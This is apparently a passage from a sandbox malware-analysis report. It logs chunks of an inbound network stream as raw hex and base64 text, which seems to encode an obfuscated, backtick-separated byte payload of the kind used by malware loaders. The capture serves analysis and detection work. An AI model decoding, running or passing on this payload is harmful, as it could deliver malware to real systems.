67 4d 7a 59 73 59 44 45 34 4c 47 42 46 51 53 78 67 4e 6b 59 73 59 45 5a 44 4c 47 41 31 4d 79 78 67 52 6a 55 73 59 44 
4e 47 4c 47 42 45 52 53 78 67 4e 7a 6b 73 59 45 55 31 4c 47 41 78 4e 79 78 67 52 54 41 73 59 44 6b 31 4c 47 42 43 52 6
9 78 67 52 54 4d 73 59 45 4e 47 4c 47 42 47 52 69 78 67 4d 44 63 73 59 44 64 47 4c 47 42 47 4e 79 78 67 52 6a 51 73 
59 44 4d 33 4c 47 42 47 4f 53 78 67 4e 30 49 73 59 45 52 43 4c 47 41 7a 52 69 78 67 51 30 4d 73 59 44 64 47 4c 47 42 
46 4e 53 78 67 4e 7a 63 73 59 45 59 35 4c 47 42 47 4e 53 78 67 52 44 4d 
Data Ascii: YDdGLGA3RSxgRkEsYDM3LGBGRCxgNDksYDdGLGBGNyxgM0YsYEU3LGBCRixgRjQsYDFCLGBGRixgMz
YsYDE4LGBFQSxgNkYsYEZDLGA1MyxgRjUsYDNGLGBERSxgNzksYEU1LGAxNyxgRTAsYDk1LGBCRixgRT
MsYENGLGBGRixgMDcsYDdGLGBGNyxgRjQsYDM3LGBGOSxgN0IsYERCLGAzRixgQ0MsYDdGLGBFNSxgNz
csYEY5LGBGNSxgRDM

2021-12-02 20:47:22 UTC 19 IN Data Raw: 43 78 67 52 54 41 73 59 45 59 78 4c 47 42 42 4e 79 78 67 52 44 49 73 59 44 68 43 4c 47 42 47 4e 53 78 67 52 
45 59 73 59 44 46 43 4c 47 41 33 51 79 78 67 52 6a 67 73 59 44 56 43 4c 47 42 47 52 53 78 67 51 54 59 73 59 45 55 35 
4c 47 42 45 52 53 78 67 4d 55 59 73 59 45 5a 43 4c 47 41 77 4e 79 78 67 4d 54 59 73 59 44 49 79 4c 47 42 43 4d 79 78 
67 51 6b 59 73 59 44 45 35 4c 47 42 43 52 43 78 67 52 6a 59 73 59 44 6c 43 4c 47 42 47 52 53 78 67 52 44 51 73 59 44 5
a 47 4c 47 42 47 52 53 78 67 4f 55 49 73 59 44 59 31 4c 47 41 77 4e 79 78 67 51 7a 55 73 59 44 4a 47 4c 47 41 31 4d 79 
78 67 4f 45 4d 73 59 45 55 33 4c 47 41 35 52 69 78 67 4e 30 59 73 59 45 59 33 4c 47 41 7a 52 53 78 67 4d 7a 41 73 59 
45 5a 46 4c 47 42 43 52 69 78 67 4d 55 59 73 59 45 5a 45 4c 47 42 45 
Data Ascii: CxgRTAsYEYxLGBBNyxgRDIsYDhCLGBGNSxgREYsYDFCLGA3QyxgRjgsYDVCLGBGRSxgQTYsYEU5LGB
ERSxgMUYsYEZCLGAwNyxgMTYsYDIyLGBCMyxgQkYsYDE5LGBCRCxgRjYsYDlCLGBGRSxgRDQsYDZGLGB
GRSxgOUIsYDY1LGAwNyxgQzUsYDJGLGA1MyxgOEMsYEU3LGA5RixgN0YsYEY3LGAzRSxgMzAsYEZFLGB
CRixgMUYsYEZELGBE

2021-12-02 20:47:22 UTC 20 IN Data Raw: 59 30 4c 47 42 45 4f 53 78 67 4d 30 51 73 59 44 4d 77 4c 47 42 46 51 69 78 67 4e 6b 59 73 59 45 5a 45 4c 47 
41 31 4d 79 78 67 52 6a 55 73 59 45 5a 47 4c 47 41 78 4f 43 78 67 4e 7a 51 73 59 44 6b 79 4c 47 41 78 52 43 78 67 52 
6b 4d 73 59 45 4d 31 4c 47 41 33 4f 43 78 67 52 6a 55 73 59 45 59 7a 4c 47 42 45 52 69 78 67 52 6a 67 73 59 45 5a 47 
4c 47 42 47 51 53 78 67 51 6b 51 73 59 45 51 79 4c 47 41 33 52 69 78 67 52 6a 45 73 59 44 45 33 4c 47 42 47 52 69 78 
67 4e 6a 45 73 59 44 68 45 4c 47 42 47 52 69 78 67 52 55 45 73 59 45 56 47 4c 47 41 35 4d 43 78 67 51 6b 55 73 59 45 
5a 42 4c 47 42 44 52 43 78 67 52 6b 59 73 59 45 4e 42 4c 47 41 33 52 69 78 67 4d 55 49 73 59 45 45 79 4c 47 42 47 4e 
79 78 67 4d 30 49 73 59 45 5a 44 4c 47 41 31 4e 43 78 67 52 6b 51 73 59 
Data Ascii: Y0LGBEOSxgM0QsYDMwLGBFQixgNkYsYEZELGA1MyxgRjUsYEZGLGAxOCxgNzQsYDkyLGAxRCxgRkMs
YEM1LGA3OCxgRjUsYEYzLGBERixgRjgsYEZGLGBGQSxgQkQsYEQyLGA3RixgRjEsYDE3LGBGRixgNjEs
YDhELGBGRixgRUEsYEVGLGA5MCxgQkUsYEZBLGBDRCxgRkYsYENBLGA3RixgMUIsYEEyLGBGNyxgM0Is
YEZDLGA1NCxgRkQsY

2021-12-02 20:47:22 UTC 21 IN Data Raw: 67 52 45 59 73 59 45 59 33 4c 47 42 45 4e 79 78 67 52 6a 67 73 59 44 4d 31 4c 47 41 33 52 53 78 67 4f 45 59 
73 59 45 52 47 4c 47 41 35 4d 69 78 67 52 45 45 73 59 45 4e 46 4c 47 41 33 52 53 78 67 4f 45 51 73 59 44 56 47 4c 47 
42 46 4d 79 78 67 4f 55 59 73 59 44 49 77 4c 47 41 31 4f 43 78 67 4f 45 59 73 59 44 64 47 4c 47 42 45 4e 79 78 67 4e 55 
59 73 59 45 55 7a 4c 47 42 45 4e 79 78 67 52 6a 67 73 59 44 56 43 4c 47 41 77 4f 43 78 67 52 55 55 73 59 45 51 35 4c 
47 42 44 4e 53 78 67 51 55 59 73 59 45 59 78 4c 47 41 32 51 69 78 67 52 6b 4d 73 59 44 6b 79 4c 47 41 79 4f 53 78 67 5
2 6b 51 73 59 44 6c 47 4c 47 42 45 52 53 78 67 52 45 51 73 59 45 45 33 4c 47 42 46 52 69 78 67 4e 30 55 73 59 44 5a 45 
4c 47 42 47 51 53 78 67 52 6a 6b 73 59 44 63 33 4c 47 42 46 52 43 
Data Ascii: gREYsYEY3LGBENyxgRjgsYDM1LGA3RSxgOEYsYERGLGA5MixgREEsYENFLGA3RSxgOEQ
sYDVGLGBFMyxgOUYsYDIwLGA1OCxgOEYsYDdGLGBENyxgNUYsYEUzLGBENyxgRjgsYDVCLGAwOCxgRUU
sYEQ5LGBDNSxgQUYsYEYxLGA2QixgRkMsYDkyLGAyOSxgRkQsYDlGLGBERSxgREQsYEE3LGBFRixgN0U
sYDZELGBGQSxgRjksYDc3LGBFRC

2021-12-02 20:47:22 UTC 23 IN Data Raw: 4c 47 42 43 52 53 78 67 4e 30 59 73 59 45 56 44 4c 47 41 79 4e 79 78 67 4e 30 55 73 59 44 68 45 4c 47 41 31 
52 69 78 67 4e 6a 4d 73 59 44 64 42 4c 47 41 30 51 79 78 67 52 54 6b 73 59 44 42 45 4c 47 42 44 4d 69 78 67 4e 30 49 
73 59 44 68 43 4c 47 41 33 52 53 78 67 52 6b 55 73 59 44 41 32 4c 47 42 43 52 69 78 67 52 6b 49 73 59 45 46 47 4c 47 
42 47 4d 53 78 67 4e 6b 49 73 59 45 5a 44 4c 47 41 33 4d 53 78 67 4e 7a 63 73 59 45 45 34 4c 47 41 30 52 69 78 67 51 5
4 49 73 59 45 55 31 4c 47 41 78 52 69 78 67 52 6b 59 73 59 44 6c 43 4c 47 41 31 4d 43 78 67 4e 6b 4d 73 59 45 5a 45 4c 
47 41 33 51 69 78 67 52 44 45 73 59 45 52 47 4c 47 42 43 52 69 78 67 52 55 51 73 59 45 46 47 4c 47 42 47 4d 53 78 67 
4e 6b 49 73 59 45 5a 44 4c 47 41 7a 4e 69 78 67 52 6a 51 73 59 45 51 
Data Ascii: LGBCRSxgN0YsYEVDLGAyNyxgN0UsYDhELGA1RixgNjMsYDdBLGA0QyxgRTksYDBELGBDMixgN0IsYD
hCLGA3RSxgRkUsYDA2LGBCRixgRkIsYEFGLGBGMSxgNkIsYEZDLGA3MSxgNzcsYEE4LGA0RixgQTIsYEU1LGAxRixg
RkYsYDlCLGA1MCxgNkMsYEZELGA3QixgRDEsYERGLGBCRixgRUQsYEFGLGBGMSxgNkIsYEZDLGAzNixgRjQsYEQ

2021-12-02 20:47:22 UTC 24 IN Data Raw: 6b 49 73 59 45 5a 44 4c 47 41 78 51 53 78 67 51 6b 59 73 59 45 4e 47 4c 47 41 79 4d 79 78 67 51 54 49 73 59 
44 4e 43 4c 47 42 47 4d 53 78 67 51 7a 51 73 59 45 5a 47 4c 47 41 30 4f 43 78 67 51 6a 67 73 59 45 5a 44 4c 47 42 46 4f 
53 78 67 4d 44 51 73 59 45 56 47 4c 47 41 35 52 69 78 67 51 54 41 73 59 45 4e 47 4c 47 42 47 52 53 78 67 4e 44 67 73 
59 44 5a 42 4c 47 41 35 4d 79 78 67 52 44 41 73 59 44 56 44 4c 47 42 47 52 43 78 67 4d 54 6b 73 59 45 4a 47 4c 47 41 
77 4d 79 78 67 51 30 51 73 59 45 52 45 4c 47 41 78 4e 79 78 67 51 7a 51 73 59 44 55 33 4c 47 41 7a 4e 43 78 67 4d 6a 
63 73 59 45 5a 47 4c 47 41 77 4f 43 78 67 4e 30 51 73 59 45 59 32 4c 47 41 35 51 69 78 67 52 6b 59 73 59 44 45 32 4c 
47 42 43 52 69 78 67 51 7a 59 73 59 45 46 47 4c 47 42 47 4d 53 78 67 
Data Ascii: kIsYEZDLGAxQSxgQkYsYENGLGAyMyxgQTIsYDNCLGBGMSxgQzQsYEZGLGA0OCxgQjgsYEZDLGBFOSx
gMDQsYEVGLGA5RixgQTAsYENGLGBGRSxgNDgsYDZBLGA5MyxgRDAsYDVDLGBGRCxgMTksYEJGLGAwMyx
gQ0QsYERELGAxNyxgQzQsYDU3LGAzNCxgMjcsYEZGLGAwOCxgN0QsYEY2LGA5QixgRkYsYDE2LGBCRix
gQzYsYEFGLGBGMSxg

2021-12-02 20:47:22 UTC 25 IN Data Raw: 42 45 4d 53 78 67 52 55 59 73 59 44 4e 47 4c 47 41 79 4d 53 78 67 51 6b 55 73 59 45 5a 45 4c 47 41 78 4e 79 
78 67 4e 6a 6b 73 59 44 68 44 4c 47 41 35 4e 79 78 67 51 7a 51 73 59 44 52 43 4c 47 41 33 52 69 78 67 4d 6b 51 73 59 
44 64 45 4c 47 42 47 4e 69 78 67 4d 55 59 73 59 45 4a 46 4c 47 42 47 4f 53 78 67 4d 7a 55 73 59 44 64 46 4c 47 41 34 
52 43 78 67 52 6b 59 73 59 44 67 7a 4c 47 41 33 4f 43 78 67 4e 6b 49 73 59 44 52 46 4c 47 41 35 52 69 78 67 52 6b 59 7
3 59 45 4e 43 4c 47 42 44 4e 43 78 67 4e 7a 63 73 59 45 4a 47 4c 47 41 34 4d 69 78 67 4e 6a 41 73 59 45 5a 47 4c 47 41 
31 4e 69 78 67 4d 7a 51 73 59 45 55 32 4c 47 42 47 52 69 78 67 4f 54 45 73 59 44 59 77 4c 47 42 47 52 43 78 67 4f 55 55 
73 59 45 59 30 4c 47 42 47 51 69 78 67 4d 6b 59 73 59 44 49 31 4c 
Data Ascii: BEMSxgRUYsYDNGLGAyMSxgQkUsYEZELGAxNyxgNjksYDhDLGA5NyxgQzQsYDRCLGA3RixgMkQsYDdE
LGBGNixgMUYsYEJFLGBGOSxgMzUsYDdFLGA4RCxgRkYsYDgzLGA3OCxgNkIsYDRFLGA5RixgRkYsYENC
LGBDNCxgNzcsYEJGLGA4MixgNjAsYEZGLGA1NixgMzQsYEU2LGBGRixgOTEsYDYwLGBGRCxgOUUsYEY0
LGBGQixgMkYsYDI1L
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2021-12-02 20:47:22 UTC 27 IN Data Raw: 73 59 45 45 7a 4c 47 41 33 4e 69 78 67 52 44 63 73 59 44 4d 30 4c 47 42 42 52 69 78 67 4e 30 59 73 59 44 4e 
47 4c 47 42 43 4e 53 78 67 4d 7a 6b 73 59 44 41 7a 4c 47 42 45 52 69 78 67 4d 54 41 73 59 44 52 46 4c 47 41 33 52 69 
78 67 4d 45 45 73 59 45 51 78 4c 47 42 46 4d 43 78 67 4e 55 49 73 59 45 4d 30 4c 47 42 47 52 69 78 67 4d 45 59 73 59 
44 67 34 4c 47 41 31 4e 79 78 67 52 6b 59 73 59 44 42 47 4c 47 42 44 4d 69 78 67 52 55 59 73 59 44 42 43 4c 47 42 46 4
d 69 78 67 52 45 59 73 59 44 6c 47 4c 47 41 79 4d 43 78 67 52 45 55 73 59 45 5a 42 4c 47 42 46 4e 79 78 67 4f 44 67 73 
59 45 59 33 4c 47 42 47 52 69 78 67 52 45 45 73 59 44 4e 47 4c 47 41 34 4d 43 78 67 4e 7a 67 73 59 44 6b 78 4c 47 41 
32 4e 43 78 67 52 55 59 73 59 44 5a 47 4c 47 42 42 4e 79 78 67 52 6a 
Data Ascii: sYEEzLGA3NixgRDcsYDM0LGBBRixgN0YsYDNGLGBCNSxgMzksYDAzLGBERixgMTAsYDRFLGA3RixgM
EEsYEQxLGBFMCxgNUIsYEM0LGBGRixgMEYsYDg4LGA1NyxgRkYsYDBGLGBDMixgRUYsYDBCLGBFMixgR
EYsYDlGLGAyMCxgREUsYEZBLGBFNyxgODgsYEY3LGBGRixgREEsYDNGLGA4MCxgNzgsYDkxLGA2NCxgR
UYsYDZGLGBBNyxgRj

2021-12-02 20:47:22 UTC 28 IN Data Raw: 4d 79 78 67 51 7a 59 73 59 45 5a 45 4c 47 42 46 51 69 78 67 4d 54 45 73 59 45 4a 45 4c 47 42 42 52 53 78 67 
51 54 67 73 59 45 56 45 4c 47 41 32 52 69 78 67 4e 44 6b 73 59 45 49 30 4c 47 42 47 4f 43 78 67 51 54 4d 73 59 45 45 
35 4c 47 42 46 52 43 78 67 4e 55 59 73 59 44 51 32 4c 47 41 7a 51 79 78 67 52 6a 63 73 59 44 68 43 4c 47 41 77 4f 43 
78 67 51 30 55 73 59 45 4a 47 4c 47 41 30 4e 69 78 67 52 6a 4d 73 59 45 59 35 4c 47 42 42 52 69 78 67 52 44 41 73 59 
45 4a 44 4c 47 42 47 52 69 78 67 4d 7a 49 73 59 45 45 79 4c 47 42 46 52 43 78 67 4d 55 59 73 59 44 51 31 4c 47 42 43 
51 79 78 67 52 6a 67 73 59 45 56 47 4c 47 41 78 4d 69 78 67 4d 45 51 73 59 45 5a 46 4c 47 41 7a 4e 69 78 67 52 54 49 
73 59 45 56 47 4c 47 42 47 52 69 78 67 4f 55 4d 73 59 45 59 77 4c 47 42 
Data Ascii: MyxgQzYsYEZELGBFQixgMTEsYEJELGBBRSxgQTgsYEVELGA2RixgNDksYEI0LGBGOCxgQTMsYEE5LG
BFRCxgNUYsYDQ2LGAzQyxgRjcsYDhCLGAwOCxgQ0UsYEJGLGA0NixgRjMsYEY5LGBBRixgRDAsYEJDLG
BGRixgMzIsYEEyLGBFRCxgMUYsYDQ1LGBCQyxgRjgsYEVGLGAxMixgMEQsYEZFLGAzNixgRTIsYEVGLG
BGRixgOUMsYEYwLGB

2021-12-02 20:47:22 UTC 29 IN Data Raw: 45 5a 44 4c 47 42 44 52 53 78 67 51 6b 59 73 59 45 4d 7a 4c 47 42 45 4d 69 78 67 4d 7a 63 73 59 45 4d 7a 4c 
47 41 34 51 69 78 67 52 45 59 73 59 45 5a 44 4c 47 41 7a 4e 79 78 67 52 6b 55 73 59 44 56 45 4c 47 41 33 4e 69 78 67 
52 55 49 73 59 45 52 47 4c 47 41 35 51 53 78 67 52 55 4d 73 59 45 56 47 4c 47 41 31 52 69 78 67 52 6a 49 73 59 44 6c 
43 4c 47 42 47 52 69 78 67 4e 6a 59 73 59 45 4a 47 4c 47 42 47 4f 53 78 67 4f 44 49 73 59 44 4d 79 4c 47 41 34 51 79 78 
67 4d 55 51 73 59 44 55 7a 4c 47 42 47 51 79 78 67 51 54 63 73 59 44 49 79 4c 47 41 34 51 79 78 67 52 6b 4d 73 59 44 
63 7a 4c 47 41 33 52 69 78 67 4f 55 59 73 59 44 4e 47 4c 47 42 46 51 79 78 67 4f 45 49 73 59 44 63 30 4c 47 42 47 52 53 
78 67 4d 55 49 73 59 45 5a 44 4c 47 41 32 51 69 78 67 4e 55 59 73 
Data Ascii: EZDLGBDRSxgQkYsYEMzLGBEMixgMzcsYEMzLGA4QixgREYsYEZDLGAzNyxgRkUsYDVELGA3NixgRUI
sYERGLGA5QSxgRUMsYEVGLGA1RixgRjIsYDlCLGBGRixgNjYsYEJGLGBGOSxgODIsYDMyLGA4QyxgMUQ
sYDUzLGBGQyxgQTcsYDIyLGA4QyxgRkMsYDczLGA3RixgOUYsYDNGLGBFQyxgOEIsYDc0LGBGRSxgMUI
sYEZDLGA2QixgNUYs

2021-12-02 20:47:22 UTC 31 IN Data Raw: 78 67 4e 6b 59 73 59 44 4d 32 4c 47 42 42 52 69 78 67 4e 30 59 73 59 44 51 79 4c 47 42 42 52 69 78 67 52 6b 
59 73 59 45 56 45 4c 47 41 35 52 43 78 67 52 44 63 73 59 44 64 47 4c 47 41 77 4d 53 78 67 4e 55 55 73 59 45 5a 47 4c 
47 41 32 52 43 78 67 52 6b 55 73 59 45 4a 45 4c 47 42 43 52 69 78 67 52 6a 41 73 59 45 56 47 4c 47 41 30 4f 53 78 67 
4f 55 49 73 59 44 4e 47 4c 47 42 47 52 69 78 67 52 45 59 73 59 45 49 35 4c 47 42 47 4e 43 78 67 51 7a 63 73 59 44 4e 4
5 4c 47 42 42 4d 79 78 67 52 6a 6b 73 59 45 52 42 4c 47 42 43 4d 69 78 67 52 6a 4d 73 59 44 4d 31 4c 47 42 42 4d 79 78 
67 51 55 4d 73 59 44 55 79 4c 47 42 46 4e 79 78 67 52 44 55 73 59 45 5a 47 4c 47 41 78 4e 43 78 67 4d 44 45 73 59 45 
55 78 4c 47 41 79 52 69 78 67 52 6b 55 73 59 45 55 35 4c 47 42 45 52 
Data Ascii: xgNkYsYDM2LGBBRixgN0YsYDQyLGBBRixgRkYsYEVELGA5RCxgRDcsYDdGLGAwMSxgNUUsYEZGLGA2
RCxgRkUsYEJELGBCRixgRjAsYEVGLGA0OSxgOUIsYDNGLGBGRixgREYsYEI5LGBGNCxgQzcsYDNELGBB
MyxgRjksYERBLGBCMixgRjMsYDM1LGBBMyxgQUMsYDUyLGBFNyxgRDUsYEZGLGAxNCxgMDEsYEUxLGAy
RixgRkUsYEU5LGBER

2021-12-02 20:47:22 UTC 32 IN Data Raw: 7a 4c 47 42 44 52 53 78 67 4f 55 49 73 59 44 64 47 4c 47 41 77 51 69 78 67 52 45 55 73 59 45 5a 44 4c 47 41 
31 51 69 78 67 52 6b 55 73 59 44 67 7a 4c 47 42 46 52 69 78 67 52 6b 55 73 59 44 49 7a 4c 47 42 46 4f 53 78 67 4e 55 
59 73 59 45 59 79 4c 47 42 45 4e 79 78 67 4e 30 4d 73 59 45 5a 43 4c 47 42 43 4e 79 78 67 52 6a 51 73 59 45 52 47 4c 
47 42 47 51 79 78 67 4e 44 4d 73 59 44 67 35 4c 47 42 45 4e 69 78 67 4f 55 59 73 59 45 51 33 4c 47 42 43 52 69 78 67 5
1 6b 59 73 59 45 4a 46 4c 47 42 47 51 53 78 67 4f 44 63 73 59 44 55 79 4c 47 41 34 4d 69 78 67 51 54 67 73 59 45 59 7a 
4c 47 42 46 51 53 78 67 4d 54 55 73 59 44 56 46 4c 47 42 47 52 43 78 67 4d 7a 55 73 59 45 5a 47 4c 47 42 45 4f 53 78 
67 4f 54 63 73 59 45 59 33 4c 47 42 45 4d 69 78 67 51 6b 59 73 59 45 
Data Ascii: zLGBDRSxgOUIsYDdGLGAwQixgREUsYEZDLGA1QixgRkUsYDgzLGBFRixgRkUsYDIzLGBFOSxgNUYsY
EYyLGBENyxgN0MsYEZCLGBCNyxgRjQsYERGLGBGQyxgNDMsYDg5LGBENixgOUYsYEQ3LGBCRixgQkYsY
EJFLGBGQSxgODcsYDUyLGA4MixgQTgsYEYzLGBFQSxgMTUsYDVFLGBGRCxgMzUsYEZGLGBEOSxgOTcsY
EY3LGBEMixgQkYsYE

2021-12-02 20:47:22 UTC 33 IN Data Raw: 52 6b 59 73 59 45 4d 7a 4c 47 41 33 52 69 78 67 52 6b 4d 73 59 44 52 47 4c 47 41 77 52 53 78 67 4e 7a 41 73 
59 45 5a 46 4c 47 41 78 4d 79 78 67 4f 44 67 73 59 45 49 7a 4c 47 41 33 52 53 78 67 4f 54 63 73 59 45 52 47 4c 47 42 45 
51 53 78 67 52 6a 45 73 59 45 4d 32 4c 47 41 35 52 69 78 67 4e 44 41 73 59 44 4d 34 4c 47 42 47 52 69 78 67 52 45 45 
73 59 45 4a 47 4c 47 41 30 4d 53 78 67 52 6a 67 73 59 45 5a 42 4c 47 42 43 52 69 78 67 4f 44 51 73 59 44 63 34 4c 47 
42 47 4e 53 78 67 4d 7a 63 73 59 44 55 35 4c 47 41 33 52 69 78 67 52 6a 51 73 59 44 64 47 4c 47 42 42 4e 69 78 67 51 6
b 59 73 59 45 56 43 4c 47 41 33 52 69 78 67 52 6b 4d 73 59 45 49 78 4c 47 42 43 52 69 78 67 4d 44 51 73 59 45 59 78 4c 
47 41 33 52 69 78 67 52 6b 51 73 59 44 49 32 4c 47 42 43 52 69 78 
Data Ascii: RkYsYEMzLGA3RixgRkMsYDRGLGAwRSxgNzAsYEZFLGAxMyxgODgsYEIzLGA3RSxgOTcsYERGLGBEQS
xgRjEsYEM2LGA5RixgNDAsYDM4LGBGRixgREEsYEJGLGA0MSxgRjgsYEZBLGBCRixgODQsYDc4LGBGNS
xgMzcsYDU5LGA3RixgRjQsYDdGLGBBNixgQkYsYEVCLGA3RixgRkMsYEIxLGBCRixgMDQsYEYxLGA3RixgRkQsYDI2
LGBCRix

2021-12-02 20:47:22 UTC 34 IN Data Raw: 47 42 45 52 69 78 67 4f 54 63 73 59 44 56 46 4c 47 42 47 52 69 78 67 4f 55 49 73 59 44 4e 43 4c 47 42 42 52 
69 78 67 52 6b 59 73 59 44 5a 46 4c 47 41 33 4f 43 78 67 52 6b 51 73 59 45 4a 47 4c 47 42 47 51 53 78 67 51 55 51 73 
59 44 64 47 4c 47 42 42 4e 79 78 67 52 6b 59 73 59 44 4a 42 4c 47 41 33 52 43 78 67 4d 7a 63 73 59 45 5a 47 4c 47 41 
34 52 43 78 67 52 6b 4d 73 59 44 41 30 4c 47 42 46 52 69 78 67 52 6b 59 73 59 45 59 31 4c 47 41 35 51 69 78 67 52 6b 
4d 73 59 45 45 78 4c 47 41 79 4d 43 78 67 4f 54 6b 73 59 45 51 33 4c 47 42 47 51 69 78 67 4d 55 59 73 59 44 52 42 4c 
47 42 42 52 69 78 67 52 6b 59 73 59 45 51 7a 4c 47 41 35 52 43 78 67 52 44 63 73 59 45 5a 47 4c 47 41 33 4d 79 78 67 
51 7a 51 73 59 44 6c 43 4c 47 42 47 52 69 78 67 52 6b 45 73 59 44 46 47 
Data Ascii: GBERixgOTcsYDVFLGBGRixgOUIsYDNCLGBBRixgRkYsYDZFLGA3OCxgRkQsYEJGLGBGQSxgQUQsYDd
GLGBBNyxgRkYsYDJBLGA3RCxgMzcsYEZGLGA4RCxgRkMsYDA0LGBFRixgRkYsYEY1LGA5QixgRkMsYEE
xLGAyMCxgOTksYEQ3LGBGQixgMUYsYDRBLGBBRixgRkYsYEQzLGA5RCxgRDcsYEZGLGA3MyxgQzQsYDl
CLGBGRixgRkEsYDFG
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2021-12-02 20:47:22 UTC 36 IN Data Raw: 51 73 59 45 51 78 4c 47 42 46 4f 53 78 67 4e 55 59 73 59 45 5a 47 4c 47 41 7a 4e 79 78 67 52 6b 51 73 59 44 
49 78 4c 47 41 33 52 69 78 67 4f 45 4d 73 59 45 5a 47 4c 47 42 46 51 53 78 67 4d 44 55 73 59 45 4a 45 4c 47 42 47 51 
53 78 67 4f 44 6b 73 59 44 55 78 4c 47 42 47 4f 43 78 67 51 6b 59 73 59 45 59 35 4c 47 41 77 4e 53 78 67 4d 6b 51 73 59 
45 56 43 4c 47 41 33 4e 53 78 67 4e 55 55 73 59 44 64 45 4c 47 41 34 51 79 78 67 4e 54 63 73 59 44 64 47 4c 47 42 42 
52 43 78 67 52 54 59 73 59 45 4e 47 4c 47 42 47 4f 53 78 67 4f 55 59 73 59 45 51 7a 4c 47 42 46 52 69 78 67 52 6b 51 73
59 45 51 32 4c 47 42 47 52 69 78 67 52 45 45 73 59 45 59 33 4c 47 42 47 51 79 78 67 4e 54 63 73 59 44 52 47 4c 47 42 4
6 4f 53 78 67 52 44 55 73 59 44 46 47 4c 47 42 42 51 69 78 67 52 
Data Ascii: QsYEQxLGBFOSxgNUYsYEZGLGAzNyxgRkQsYDIxLGA3RixgOEMsYEZGLGBFQSxgMDUsYE
JELGBGQSxgODksYDUxLGBGOCxgQkYsYEY5LGAwNSxgMkQsYEVCLGA3NSxgNUUsYDdELGA4QyxgNTcsYD
dGLGBBRCxgRTYsYENGLGBGOSxgOUYsYEQzLGBFRixgRkQsYEQ2LGBGRixgREEsYEY3LGBGQyxgNTcsYD
RGLGBFOSxgRDUsYDFGLGBBQixgR

2021-12-02 20:47:22 UTC 37 IN Data Raw: 47 4e 69 78 67 4e 55 59 73 59 44 51 32 4c 47 41 32 52 69 78 67 52 6b 59 73 59 45 46 46 4c 47 41 35 52 43 78 
67 51 6a 63 73 59 45 5a 47 4c 47 41 31 4e 43 78 67 51 6b 4d 73 59 45 5a 45 4c 47 42 47 4e 79 78 67 52 6b 59 73 59 44 
64 46 4c 47 41 33 52 69 78 67 52 54 67 73 59 44 6c 47 4c 47 41 35 4f 43 78 67 52 6b 55 73 59 44 42 47 4c 47 42 47 52 
69 78 67 51 7a 63 73 59 44 46 47 4c 47 42 47 52 69 78 67 4e 6a 55 73 59 45 59 77 4c 47 42 47 4e 69 78 67 4d 30 59 73 5
9 44 41 78 4c 47 42 43 51 69 78 67 52 6b 4d 73 59 45 4a 43 4c 47 42 45 4e 53 78 67 4d 45 59 73 59 45 4e 45 4c 47 42 46 
51 69 78 67 52 6b 59 73 59 44 41 30 4c 47 42 43 52 43 78 67 52 6b 55 73 59 44 55 35 4c 47 42 46 4e 79 78 67 52 6a 55 
73 59 44 4d 33 4c 47 41 33 4f 43 78 67 4d 30 51 73 59 45 52 43 4c 47 
Data Ascii: GNixgNUYsYDQ2LGA2RixgRkYsYEFFLGA5RCxgQjcsYEZGLGA1NCxgQkMsYEZELGBGNyxgRkYsYDdFL
GA3RixgRTgsYDlGLGA5OCxgRkUsYDBGLGBGRixgQzcsYDFGLGBGRixgNjUsYEYwLGBGNixgM0YsYDAxL
GBCQixgRkMsYEJCLGBENSxgMEYsYENELGBFQixgRkYsYDA0LGBCRCxgRkUsYDU5LGBFNyxgRjUsYDM3L
GA3OCxgM0QsYERCLG

2021-12-02 20:47:22 UTC 38 IN Data Raw: 59 45 51 35 4c 47 42 47 4d 79 78 67 4e 55 59 73 59 44 49 77 4c 47 41 77 4d 53 78 67 4e 7a 6b 73 59 44 59 34 
4c 47 41 7a 4d 43 78 67 52 6b 59 73 59 45 4e 45 4c 47 42 47 52 69 78 67 4d 44 55 73 59 45 4e 42 4c 47 41 33 4f 53 78 
67 4e 7a 63 73 59 44 56 46 4c 47 42 47 52 43 78 67 51 30 49 73 59 45 59 78 4c 47 42 46 51 53 78 67 4f 55 59 73 59 45 
5a 43 4c 47 41 77 4e 79 78 67 52 6b 59 73 59 45 51 30 4c 47 41 7a 52 69 78 67 4f 54 59 73 59 45 5a 46 4c 47 42 45 4d 7
9 78 67 4e 30 59 73 59 45 4e 43 4c 47 41 30 52 69 78 67 52 6b 51 73 59 44 55 31 4c 47 41 30 4d 53 78 67 51 30 59 73 
59 45 5a 47 4c 47 41 79 4f 43 78 67 4f 44 59 73 59 45 5a 45 4c 47 42 43 51 69 78 67 4d 55 45 73 59 44 63 31 4c 47 42 47 
4d 43 78 67 4e 30 59 73 59 45 5a 45 4c 47 41 30 4e 69 78 67 52 6b 59 
Data Ascii: YEQ5LGBGMyxgNUYsYDIwLGAwMSxgNzksYDY4LGAzMCxgRkYsYENELGBGRixgMDUsYENB
LGA3OSxgNzcsYDVFLGBGRCxgQ0IsYEYxLGBFQSxgOUYsYEZCLGAwNyxgRkYsYEQ0LGAzRixgOTYsYEZF
LGBEMyxgN0YsYENCLGA0RixgRkQsYDU1LGA0MSxgQ0YsYEZGLGAyOCxgODYsYEZELGBCQixgMUEsYDc1
LGBGMCxgN0YsYEZELGA0NixgRkY

2021-12-02 20:47:22 UTC 40 IN Data Raw: 43 78 67 52 55 51 73 59 45 5a 47 4c 47 42 46 4e 69 78 67 52 44 63 73 59 45 5a 46 4c 47 41 79 51 69 78 67 4e 
55 59 73 59 45 45 32 4c 47 41 33 52 69 78 67 52 55 49 73 59 45 55 7a 4c 47 42 45 52 69 78 67 52 6a 41 73 59 45 59 33 
4c 47 42 47 4e 79 78 67 4d 30 49 73 59 45 5a 46 4c 47 42 45 4e 79 78 67 4e 6a 6b 73 59 44 6b 32 4c 47 41 33 52 69 78 
67 4e 45 59 73 59 45 46 43 4c 47 41 33 51 79 78 67 52 6b 59 73 59 45 59 31 4c 47 41 35 52 69 78 67 51 55 45 73 59 45 
5a 47 4c 47 42 45 4e 43 78 67 51 30 55 73 59 45 46 43 4c 47 42 47 52 69 78 67 4d 6a 41 73 59 44 56 46 4c 47 42 47 52 
43 78 67 4e 7a 55 73 59 45 5a 47 4c 47 42 45 52 53 78 67 51 6a 4d 73 59 45 52 47 4c 47 41 79 52 43 78 67 52 6b 51 73 
59 45 52 45 4c 47 42 47 52 53 78 67 51 54 59 73 59 45 4a 47 4c 47 41 7a 
Data Ascii: CxgRUQsYEZGLGBFNixgRDcsYEZFLGAyQixgNUYsYEE2LGA3RixgRUIsYEUzLGBERixgRjAsYEY3LGB
GNyxgM0IsYEZFLGBENyxgNjksYDk2LGA3RixgNEYsYEFCLGA3QyxgRkYsYEY1LGA5RixgQUEsYEZGLGB
